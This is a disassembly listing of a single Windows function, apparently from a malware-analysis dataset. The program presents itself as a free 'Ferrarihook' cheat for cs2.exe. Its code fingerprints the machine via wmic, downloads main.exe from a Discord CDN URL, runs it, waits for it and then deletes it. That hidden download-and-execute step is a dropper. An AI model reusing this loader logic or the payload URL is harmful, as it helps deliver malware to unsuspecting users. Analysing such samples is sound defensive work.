Function at 0x140008610
Capabilities:
Create process on windows
Delete file
Download url
Execute command
Receive data
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r12
push r14
push r15
sub rsp, 0x2e0
mov rax, qword [0x1400a1028]
xor rax, rsp
mov qword [rsp + 0x2d0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.Ferrarihook___FREE
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
vpxor xmm0, xmm0, xmm0
xor eax, eax
vmovups xmmword [rsp + 0x168], xmm0
mov qword [rsp + 0x178], rax
vmovups xmmword [rsp + 0x90], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0xa0], xmm1
lea r8d, [rax + 0x25]
lea rdx, str.D6454ACFA_7666_2511_A8E3_2CF05D94A640
lea rcx, [rsp + 0x90]
call fcn.1400065f0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xb0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0xc0], xmm1
mov r8d, 0x25
lea rdx, str.DAD6245FA_A68A_3415_A38E_D8BBC1172A57
lea rcx, [rsp + 0xb0]
call fcn.1400065f0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xd0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0xe0], xmm1
mov r8d, 0x25
lea rdx, str.DA4B2DE2B_9A5B_154F_AC2D_AC2B834309B7
lea rcx, [rsp + 0xd0]
call fcn.1400065f0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0xf0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x100], xmm1
mov r8d, 0x25
lea rdx, str.D67C11B3D_2CA0_0EAF_FBE1_5811222B4F44
lea rcx, [rsp + 0xf0]
call fcn.1400065f0
nop
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x168], xmm0
xor esi, esi
mov qword [rsp + 0x178], rsi
mov ecx, 0x80
call fcn.1400809d0
mov rbx, rax
mov qword [rsp + 0x168], rax
mov qword [rsp + 0x170], rax
lea rcx, [rax + 0x80]
mov qword [rsp + 0x178], rcx
lea rax, [rsp + 0x168]
mov qword [rsp + 0x50], rax
lea rdi, [rsp + 0x90]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], rbx
lea rax, [rsp + 0x168]
mov qword [rsp + 0x190], rax
nop dword [rax]
mov rdx, rdi
mov rcx, rbx
call fcn.1400078f0
add rbx, 0x20
mov qword [rsp + 0x188], rbx
add rdi, 0x20
lea rax, [rsp + 0x110]
cmp rdi, rax
jne 0x1400087d0
mov rdx, rbx
mov rcx, rbx
call fcn.1400098d0
mov qword [rsp + 0x170], rbx
lea r9, [fcn.140005430]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rsp + 0x90]
call fcn.140080db8
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0x140], 0xf
mov byte [rsp + 0x128], 0
lea rdx, [0x14008a6b0]
lea rcx, str.wmic_csproduct_get_uuid
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
je 0x1400088c9
mov r8, rax
mov edx, 0x80
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400088c0
nop dword [rax + rax]
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x128]
call fcn.1400094d0
mov r8, rbx
mov edx, 0x80
lea rcx, [rsp + 0x250]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140008890
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
lea rdx, str.e_32m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400096c0
mov rcx, rax
lea rdx, str.Loading_ferrarihook_
call fcn.1400096c0
mov rcx, rax
lea rdx, str.e_0m
call fcn.1400096c0
lea rdx, str.https:__cdn.discordapp.com_attachments_1214643100564324352_1219022039046950912_main.exe_ex6613043eis66008f3ehm1d0faceb29082413f80964c4e56edfa00409898e765737a54e29afaf92cdc281
lea rcx, [rsp + 0x1a0]
call fcn.140009250
nop
lea rdx, str.main.exe
lea rcx, [rsp + 0x148]
call fcn.140009250
nop
lea r8, [rsp + 0x148]
cmp qword [rsp + 0x160], 8
cmovae r8, qword [rsp + 0x148]
lea rdx, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 8
cmovae rdx, qword [rsp + 0x1a0]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
jns 0x1400089a1
lea rdx, str.Failed_to_download_the_file._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400096c0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x140009890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140008ac5
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x1c0]
call fcn.1400093a0
nop
mov dword [rsp + 0x1e0], 0x68
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0x1e8], ymm0
vmovups ymmword [rsp + 0x208], ymm0
vmovups ymmword [rsp + 0x228], ymm0
lea rdx, [rsp + 0x1c0]
cmp qword [rsp + 0x1d8], 8
cmovae rdx, qword [rsp + 0x1c0]
lea rax, [rsp + 0x110]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140008bfd
lea rdx, str.Failed_to_run_the_downloaded_file.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400096c0
lea rdx, [0x140009890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 8
jb 0x140008aac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008aa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400090af
call fcn.140080c5c
vmovdqu xmm0, xmmword [0x140093530]
vmovdqu xmmword [rsp + 0x1d0], xmm0
mov word [rsp + 0x1c0], si
mov rdx, qword [rsp + 0x160]
cmp rdx, 8
jb 0x140008b0d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x148]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140008b08
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009113
call fcn.140080c5c
vmovdqu xmm0, xmmword [0x140093530]
mov word [rsp + 0x148], si
vmovdqu xmmword [rsp + 0x158], xmm0
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 8
jb 0x140008b6e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140008b69
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009177
call fcn.140080c5c
vmovdqu xmm0, xmmword [0x140093530]
mov word [rsp + 0x1a0], si
vmovdqu xmmword [rsp + 0x1b0], xmm0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x140008bca
inc rdx
mov rcx, qword [rsp + 0x128]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140008bc5
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400091d6
call fcn.140080c5c
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0x140], 0xf
mov byte [rsp + 0x128], 0
lea rcx, [rsp + 0x168]
call fcn.1400095a0
mov eax, 1
jmp 0x14000920d
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x148]
cmp qword [rsp + 0x160], 8
cmovae rcx, qword [rsp + 0x148]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r12, [rsp + 0x128]
mov rcx, qword [rsp + 0x128]
mov r8, qword [rsp + 0x140]
cmp r8, 0x10
cmovae r12, rcx
mov r14, qword [rsp + 0x138]
add r12, r14
lea r15, [rsp + 0x128]
cmp r8, 0x10
cmovae r15, rcx
add r15, r14
lea rbx, [rsp + 0x128]
cmp r8, 0x10
cmovae rbx, rcx
cmp rbx, r15
je 0x140008d2f
movsx edi, byte [rbx]
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isxdigit]
test eax, eax
jne 0x140008cb8
cmp dil, 0x2d
jne 0x140008cc0
inc rbx
cmp rbx, r15
jne 0x140008ca3
mov r8, qword [rsp + 0x140]
mov r14, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x128]
cmp rbx, r15
je 0x140008d2f
lea rdi, [rbx + 1]
cmp rdi, r15
je 0x140008d2f
nop word [rax + rax]
movsx r14d, byte [rdi]
mov ecx, r14d
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isxdigit]
test eax, eax
jne 0x140008d07
cmp r14b, 0x2d
jne 0x140008d0f
movzx eax, byte [rdi]
mov byte [rbx], al
inc rbx
inc rdi
cmp rdi, r15
jne 0x140008cf0
mov r8, qword [rsp + 0x140]
mov r14, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x128]
lea rax, [rsp + 0x128]
cmp r8, 0x10
cmovae rax, rcx
mov rdx, rbx
sub rdx, rax
sub r12, rbx
mov rax, r14
sub rax, rdx
cmp rax, r12
cmovb r12, rax
lea rax, [rsp + 0x128]
cmp r8, 0x10
cmovae rax, rcx
lea rcx, [rax + rdx]
sub r14, r12
mov r8, r14
sub r8, rdx
inc r8
lea rdx, [rcx + r12]
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x138], r14
mov rbx, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x170]
cmp rbx, rdi
je 0x140008deb
mov r15, qword [rsp + 0x140]
mov r12, qword [rsp + 0x128]
nop dword [rax + rax]
lea rdx, [rsp + 0x128]
cmp r15, 0x10
cmovae rdx, r12
mov r8, qword [rbx + 0x10]
mov rcx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140008dd1
mov rcx, qword [rbx]
cmp r8, r14
jne 0x140008ddf
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140008de8
add rbx, 0x20
cmp rbx, rdi
jne 0x140008db0
cmp rbx, rdi
setne byte [0x14016d6dc]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], rsi
mov qword [rsp + 0x198], rsi
mov r8d, 7
lea rdx, str.cs2.exe
lea rcx, [rsp + 0x180]
call fcn.1400065f0
lea rdx, [rsp + 0x180]
call fcn.140008230
mov ebx, eax
test eax, eax
jne 0x140008f29
call fcn.140009dd0
test al, al
je 0x140008f29
call fcn.140008180
test al, al
je 0x140008f29
lea rax, [rsp + 0x250]
mov qword [rsp + 0x50], rax
lea rax, vtable.std::_Func_impl_no_alloc_void____cdecl___void___void___.0
mov qword [rsp + 0x250], rax
lea rax, [0x140078c40]
mov qword [rsp + 0x258], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0x288], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x78], rax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], rsi
mov qword [rsp + 0x198], rsi
lea r8d, [rbx + 7]
lea rdx, str.SDL_app
lea rcx, [rsp + 0x180]
call fcn.1400065f0
nop
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
lea r8d, [rbx + 0x10]
lea rdx, [0x14008a990]
lea rcx, [rsp + 0x58]
call fcn.1400065f0
nop
lea r9, [rsp + 0x250]
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x58]
call fcn.14006a430
nop
jmp 0x14000903f
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400096c0
mov rcx, rax
lea rdx, str._______________________
call fcn.1400096c0
mov rcx, rax
lea rdx, str.e_0m
call fcn.1400096c0
lea rdx, [0x140009890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400096c0
mov rcx, rax
lea rdx, str._ERROR_
call fcn.1400096c0
mov rcx, rax
lea rdx, str.e_0m
call fcn.1400096c0
call fcn.140009dd0
test al, al
jne 0x140008fb9
lea rdx, str.Failed_to_update_offsets.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400096c0
jmp 0x140008fee
call fcn.140008180
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test al, al
jne 0x140008fd7
lea rdx, str.Failed_to_call_InitAddress__.
call fcn.1400096c0
jmp 0x140008fee
lea rdx, str.Failed_to_attach_process__StatusCode:
call fcn.1400096c0
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140009890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400096c0
mov rcx, rax
lea rdx, str._______________________
call fcn.1400096c0
mov rcx, rax
lea rdx, str.e_0m
call fcn.1400096c0
lea rdx, [0x140009890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14008a066]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400096c0
lea rdx, [0x140009890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 8
jb 0x1400090bb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400090b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400090b6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140080c5c
vmovdqu xmm0, xmmword [0x140093530]
vmovdqu xmmword [rsp + 0x1d0], xmm0
mov word [rsp + 0x1c0], si
mov rdx, qword [rsp + 0x160]
cmp rdx, 8
jb 0x14000911f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000911a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000911a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140080c5c
vmovdqu xmm0, xmmword [0x140093530]
vmovdqu xmmword [rsp + 0x158], xmm0
mov word [rsp + 0x148], si
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 8
jb 0x140009183
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000917e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000917e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140080c5c
vmovdqu xmm0, xmmword [0x140093530]
vmovdqu xmmword [rsp + 0x1b0], xmm0
mov word [rsp + 0x1a0], si
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x1400091e2
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400091dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400091dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140080c5c
mov qword [rsp + 0x138], rsi
mov qword [rsp + 0x140], 0xf
mov byte [rsp + 0x128], 0
lea rcx, [rsp + 0x168]
call fcn.1400095a0
xor eax, eax
mov rcx, qword [rsp + 0x2d0]
xor rcx, rsp
call fcn.1400809b0
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r12
ret